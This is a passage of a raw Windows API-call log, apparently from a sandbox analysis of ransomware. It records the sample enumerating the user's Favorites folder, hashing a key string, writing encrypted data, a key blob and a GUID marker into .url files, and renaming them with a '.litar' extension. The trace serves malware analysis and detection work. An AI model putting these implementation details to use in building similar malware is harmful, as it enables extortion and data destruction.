WriteFile (in: hFile=0x624, lpBuffer=0x3071b70*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x3071b70*, lpNumberOfBytesWritten=0x398fb24*=0xdd, lpOverlapped=0x0) returned 1 [0125.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3071b70 | out: hHeap=0x5c0000) returned 1 [0125.898] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.898] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.898] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.898] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.898] CloseHandle (hObject=0x624) returned 1 [0125.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0125.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0125.899] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.litar")) returned 1 [0125.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.899] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.900] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0125.900] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.900] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0125.900] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.904] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.904] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.905] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0125.905] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0125.905] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.905] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.905] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.905] PathFindFileNameW (pszPath="") returned="" [0125.905] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.906] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.906] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0125.906] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0125.906] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.906] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.906] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.908] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.908] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.909] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.909] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.909] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.909] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.909] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.910] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.910] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.910] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.910] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.910] GetLastError () returned 0x0 [0125.910] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.910] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.910] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.910] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.910] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.910] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.911] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 